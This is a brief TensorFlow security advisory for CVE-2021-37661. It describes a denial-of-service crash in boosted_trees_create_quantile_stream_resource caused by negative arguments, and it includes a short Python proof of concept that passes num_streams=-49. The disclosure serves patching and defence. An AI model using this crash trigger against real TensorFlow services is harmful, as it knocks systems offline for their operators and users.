CVE-2021-37661: Crash caused by integer conversion to unsigned

August 25, 2021 (updated November 13, 2024)

An attacker can cause a denial of service in boosted_trees_create_quantile_stream_resource by using negative arguments:

import tensorflow as tf
from tensorflow.python.ops import gen_boosted_trees_ops
import numpy as np

v= tf.Variable([0.0, 0.0, 0.0, 0.0, 0.0])
gen_boosted_trees_ops.boosted_trees_create_quantile_stream_resource(
quantile_stream_resource_handle = v.handle,
epsilon = [74.82224],
num_streams = [-49],
max_elements = np.int32(586))
